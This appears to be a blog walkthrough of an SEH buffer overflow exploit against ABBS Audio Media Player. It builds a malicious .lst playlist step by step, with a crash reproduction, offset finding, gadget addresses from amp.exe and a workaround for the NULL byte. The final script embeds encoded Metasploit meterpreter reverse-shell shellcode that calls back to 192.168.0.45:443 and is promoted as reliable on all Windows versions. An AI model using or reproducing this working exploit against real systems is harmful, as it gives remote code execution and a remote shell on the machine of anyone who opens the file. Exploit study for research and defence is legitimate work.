A few weeks ago, one of my followers asked me if I can help him writing a functional exploit for the current version of the Audio Media Player by ABBS because he’s experiencing problems with successfully exploiting a NULL-byte issue. All exploits that are available over at the Exploit Database like this one or even this Metasploit module are either only working on specific versions of Windows or are not working with the current version of the application.

The goal is to write an exploit which is usable in a reliable way among all Windows versions (I tend to call those exploits WinALL in further articles 🙂 ). The application itself is neither very amazing nor actual, but the behaviour is quite interesting when exploiting the vulnerability which was initially discovered by Rh0!

Let’s have a look.

1. Reproduce the crash

#!/usr/bin/python
file="poc.lst"

poc="\xCC" * 5000

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

If you open the created .lst file with the application, it crashes and looks like a typical SEH overflow issue:

abbs-1

2. Finding the exact position of the EIP control

(I skip the detailed steps here – mentioned too many times 😉 )

#!/usr/bin/python
file="poc.lst"

junk1="\xCC" * 4116
eip="\x42" * 4
junk2="\xCC" * 1000

poc= junk1 + eip + junk2

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

EIP control after 4116 bytes of junk data:

abbs-2

If you have a look at the content of ESP+8 in the dump view, you recognize the typcial nseh-structure of a SEH-based overflow issue. So far so good.

3. Overwrite SEH address with pop/pop/ret

#!/usr/bin/python
from struct import pack

file="poc.lst"

junk1="\xCC" * 4116
eip=pack('<L',0x004127bb)  # POP EBX # POP EBP # RETN 0x0C  ** [amp.exe] ** 
junk2="\xCC" * 1000

poc= junk1 + eip + junk2

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

Taking an address directly from the amp.exe to bring reliability into game. Now things are getting interesting. Executing the exploit so far results in something unexpected:

abbs-3

Using the  p/p/r instruction (0x004127BB) at the EIP breaks somehow the flow of the exploit. The expected junk2 – data after the nseh/seh handler containing \xCCs are lost and the EIP is set to CCCCCC at ESP-4. Since we’re using a POP EBX, POP EBP, we would expect this registers to contain the pop’ed values (7C9132A8 & 0012F688) but they contain completely different values (EBX = CCCCCC and EBP=0012F9B8). What happened here ?

The following modified exploit source shows a bit better what happens:

#!/usr/bin/python
from struct import pack

file="poc.lst"

junk1="\xCC" * 4112
nseh="\x42" * 4
eip=pack('<L',0x004127bb)  # POP EBX # POP EBP # RETN 0x0C  ** [amp.exe] ** 
junk2="\xCC" * 1000

poc= junk1 + nseh + eip + junk2

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

This results in:

abbs-4b

The nseh is overwritten correctly, but EIP still contains the CC’s from ESP-4.

4. WTF happens here ?

Well quite easy. The SE handler contains an address with a NULL byte, which breaks the further exploit and “resets” the EIP to the next lower position (ESP-4) before the nseh.

~EDIT:
Thanks Rh0 for the hint. The reason why the EIP is reset to ESP-4: The application executes the commands (starting at 0x0042652B)

ADD ESP, 1000
POP EDI
POP ESI
POP EBX

and finally RETs (@0x00426534) into the overwritten part of the stack.

abbs-7

This is not bad at all, since you are able to execute code at this position without any problems, even if it contains NULL bytes. Looks like the NULL byte is only a problem at the SE handler position.

This needs some small modifications to the exploit code:

Since the nseh cannot be used, you can replace it with some junk data:

#!/usr/bin/python
from struct import pack

file="poc.lst"

junk1="\xCC" * 4108
eip=pack('<L',0x00412c91) # ADD ESP,14 # POP EDI # POP ESI # POP EBX # RETN  ** [amp.exe] **  
nseh="\x90" * 4
breaker=pack('<L',0x004127bb)  # POP EBX # POP EBP # RETN 0x0C  ** [amp.exe] ** 

poc= junk1 + eip + nseh + breaker

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

At the new position of the EIP you can use a combination of

ADD ESP,14 # POP EDI # POP ESI # POP EBX # RETN

to jump to the code at ESP+20, which points to the beginning of our input 🙂
abbs-4

Executing the script results in the EIP being moved to our CCs which means control over the application flow:

abbs-5

5. Finalize the exploit

Now the CC’s can be easily replaced with any kind of shellcode (nice: 4108 bytes of space for the shellcode).

The first address of the EIP cannot be used due to the NULL condition, you can simply replace this with some NULLs – called “breaker” in my script.

Now any available shellcode can be used, like a reverse meterpreter shell – the rest of the available space for the shellcode is filled by NOPs – my preferred way of filling uneccessary spaces 😀

#!/usr/bin/python

from struct import pack

file="exploit.lst"

# windows/meterpreter/reverse_tcp LHOST=192.168.0.45 LPORT=443 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.45 LPORT=443 R | msfencode -b '\x00\x0a\x0d'

shellcode = ("\xdb\xd8\xd9\x74\x24\xf4\xbf\x90\xf4\xd9\xa0\x5a\x2b\xc9" +
"\xb1\x49\x31\x7a\x19\x83\xc2\x04\x03\x7a\x15\x72\x01\x25" +
"\x48\xfb\xea\xd6\x89\x9b\x63\x33\xb8\x89\x10\x37\xe9\x1d" +
"\x52\x15\x02\xd6\x36\x8e\x91\x9a\x9e\xa1\x12\x10\xf9\x8c" +
"\xa3\x95\xc5\x43\x67\xb4\xb9\x99\xb4\x16\x83\x51\xc9\x57" +
"\xc4\x8c\x22\x05\x9d\xdb\x91\xb9\xaa\x9e\x29\xb8\x7c\x95" +
"\x12\xc2\xf9\x6a\xe6\x78\x03\xbb\x57\xf7\x4b\x23\xd3\x5f" +
"\x6c\x52\x30\xbc\x50\x1d\x3d\x76\x22\x9c\x97\x47\xcb\xae" +
"\xd7\x0b\xf2\x1e\xda\x52\x32\x98\x05\x21\x48\xda\xb8\x31" +
"\x8b\xa0\x66\xb4\x0e\x02\xec\x6e\xeb\xb2\x21\xe8\x78\xb8" +
"\x8e\x7f\x26\xdd\x11\xac\x5c\xd9\x9a\x53\xb3\x6b\xd8\x77" +
"\x17\x37\xba\x16\x0e\x9d\x6d\x27\x50\x79\xd1\x8d\x1a\x68" +
"\x06\xb7\x40\xe5\xeb\x85\x7a\xf5\x63\x9e\x09\xc7\x2c\x34" +
"\x86\x6b\xa4\x92\x51\x8b\x9f\x62\xcd\x72\x20\x92\xc7\xb0" +
"\x74\xc2\x7f\x10\xf5\x89\x7f\x9d\x20\x1d\xd0\x31\x9b\xdd" +
"\x80\xf1\x4b\xb5\xca\xfd\xb4\xa5\xf4\xd7\xdc\x4f\x0e\xb0" +
"\x22\x27\x10\x6d\xcb\x35\x11\x6c\xb0\xb0\xf7\x04\xd6\x94" +
"\xa0\xb0\x4f\xbd\x3b\x20\x8f\x68\x46\x62\x1b\x9e\xb6\x2d" +
"\xec\xeb\xa4\xda\x1c\xa6\x97\x4d\x22\x1d\xbd\x71\xb6\x99" +
"\x14\x25\x2e\xa3\x41\x01\xf1\x5c\xa4\x19\x38\xc8\x07\x76" +
"\x45\x1c\x88\x86\x13\x76\x88\xee\xc3\x22\xdb\x0b\x0c\xff" +
"\x4f\x80\x99\xff\x39\x74\x09\x97\xc7\xa3\x7d\x38\x37\x86" +
"\x7f\x05\xee\xef\x05\x7f\x84\x03\xc6")

junk1="\x90" * (4108 - len(shellcode))
eip=pack('<L',0x00412c91) # ADD ESP,14 # POP EDI # POP ESI # POP EBX # RETN  ** [amp.exe] **  
junk2="\x90" * 4
evil="\x00" * 4 # Terminat0r
poc=junk1 + shellcode + eip + junk2 + evil

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

You’re able to use an address from the amp.exe itself at the new EIP position, and this makes the exploit reliable among all known Windows versions – even Windows 8:

abbs-6a

The crashing application results in a thrilling meterpreter shell:

abbs-6b

The public exploit can be found over at Exploit-DB.